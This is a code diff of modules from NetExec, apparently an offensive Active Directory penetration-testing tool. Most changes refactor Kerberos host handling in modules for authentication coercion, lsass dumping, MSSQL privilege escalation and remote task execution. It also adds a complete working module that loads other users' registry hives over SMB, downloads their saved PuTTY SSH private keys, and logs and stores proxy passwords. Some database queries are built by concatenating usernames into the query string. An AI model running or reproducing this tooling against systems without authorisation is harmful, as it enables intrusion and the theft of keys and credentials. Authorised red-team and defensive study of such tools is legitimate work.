search_filter = "(objectClass=pKIEnrollmentService)"
else:
+11 -13
View File
@@ -1,7 +1,8 @@
import ssl
import ldap3
from impacket.dcerpc.v5 import samr, epm, transport
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
@@ -61,11 +62,10 @@ class NXCModule:
def on_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
@@ -101,15 +101,10 @@ class NXCModule:
-------
None
"""
target = self.__targetIp or self.__target
string_binding = epm.hept_map(target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
if self.__targetIp is not None:
rpc_transport.setRemoteHost(self.__targetIp)
rpc_transport.setRemoteName(self.__target)
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport.sethost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -118,10 +113,13 @@ class NXCModule:
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__target}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
+1 -2
View File
@@ -221,8 +221,6 @@ class NXCModule:
Based on the work of @_nwodtuhs and @BlWasp_.
"""
self.context = context
context.log.debug(f"module_options: {module_options}")
if not module_options:
@@ -273,6 +271,7 @@ class NXCModule:
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
+10 -9
View File
@@ -2,7 +2,7 @@ from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
@@ -33,9 +33,9 @@ class NXCModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
@@ -95,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
@@ -108,11 +109,12 @@ class TriggerAuth:
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.set_kerberos(doKerberos, kdcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
@@ -134,8 +136,7 @@ class TriggerAuth:
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
+10 -6
View File
@@ -5,6 +5,7 @@
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -50,7 +51,8 @@ class NXCModule:
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
kdcHost=connection.domain,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
@@ -120,6 +122,7 @@ class LsaLookupNames:
password="",
remote_name="",
do_kerberos=False,
remoteHost="",
kdcHost="",
lmhash="",
nthash="",
@@ -134,7 +137,8 @@ class LsaLookupNames:
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
self.kdcHost = kdcHost
self.remoteHost = remoteHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
@@ -147,6 +151,7 @@ class LsaLookupNames:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteHost)
# Set timeout if defined
if self.timeout:
@@ -158,14 +163,13 @@ class LsaLookupNames:
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.kdcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
if self.doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect
dce.connect()
+6 -3
View File
@@ -3,6 +3,7 @@ from impacket.http import AUTH_NTLM
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
RPC_PROXY_RPC_OUT_DATA_404_ERR
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
@@ -65,10 +66,10 @@ class NXCModule:
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
rpctransport.set_auth_type(AUTH_NTLM)
else:
pass
rpctransport.setRemoteHost(connection.host)
try:
entries = self.__fetchList(rpctransport)
entries = self.__fetchList(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.fail(error_text)
@@ -98,8 +99,10 @@ class NXCModule:
context.log.debug(e)
return
def __fetchList(self, rpctransport):
def __fetchList(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+3 -3
View File
@@ -12,9 +12,9 @@ class NXCModule:
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""Required.
+4 -8
View File
@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -202,7 +198,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
+1
View File
@@ -23,6 +23,7 @@ class NXCModule:
stringBinding = r"ncacn_ip_tcp:%s" % connection.host
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(authLevel)
+13 -4
View File
@@ -156,7 +156,16 @@ class NXCModule:
stype=stype,
)
else:
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
@@ -165,7 +174,7 @@ class NXCModule:
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
@@ -176,9 +185,9 @@ class NXCModule:
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
+6 -8
View File
@@ -42,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -441,13 +441,11 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
try:
if int(res):
self.admin_privs = True
return True
else:
return False
except Exception:
is_admin = res[0][""]
if is_admin:
self.admin_privs = True
return True
else:
return False
def revert_context(self, exec_as):
-1
View File
@@ -39,7 +39,6 @@ class NXCModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
+7 -9
View File
@@ -44,11 +44,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
target,
pipe,
do_kerberos,
dc_host,
target_ip=None,
kdcHost,
remoteHost,
context=None,
):
binding_params = {
@@ -221,6 +221,7 @@ def coerce(
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
@@ -231,15 +232,12 @@ def coerce(
aesKey=aesKey,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
rpc_transport.set_kerberos(do_kerberos, kdcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
+3 -2
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,12 +55,13 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
+221
View File
@@ -0,0 +1,221 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
+5 -3
View File
@@ -83,7 +83,7 @@ class NXCModule:
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._rdp_WMI__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -218,6 +218,7 @@ class RdpWmi:
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
@@ -233,11 +234,12 @@ class RdpWmi:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+4 -1
View File
@@ -52,6 +52,7 @@ class NXCModule:
self.cmd,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
@@ -77,7 +78,7 @@ class NXCModule:
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -89,6 +90,7 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -108,6 +110,7 @@ class TSCH_EXEC:
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
+8 -4
View File
@@ -43,10 +43,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
remoteHost=connection.host,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -61,8 +62,9 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
remoteHost=connection.host,
)
if self.ipsc:
@@ -194,6 +196,7 @@ class CoerceAuth:
pipe,
doKerberos,
dcHost,
remoteHost,
):
binding_params = {
"FssagentRpc": {
@@ -202,7 +205,7 @@ class CoerceAuth:
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
dce = rpctransport.get_dce_rpc()
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
@@ -213,7 +216,8 @@ class CoerceAuth:
nthash=nthash,
aesKey=aesKey,
)
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+6 -3
View File
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5.rpch import (
RPC_PROXY_CONN_A1_404_ERR,
RPC_PROXY_RPC_OUT_DATA_404_ERR,
)
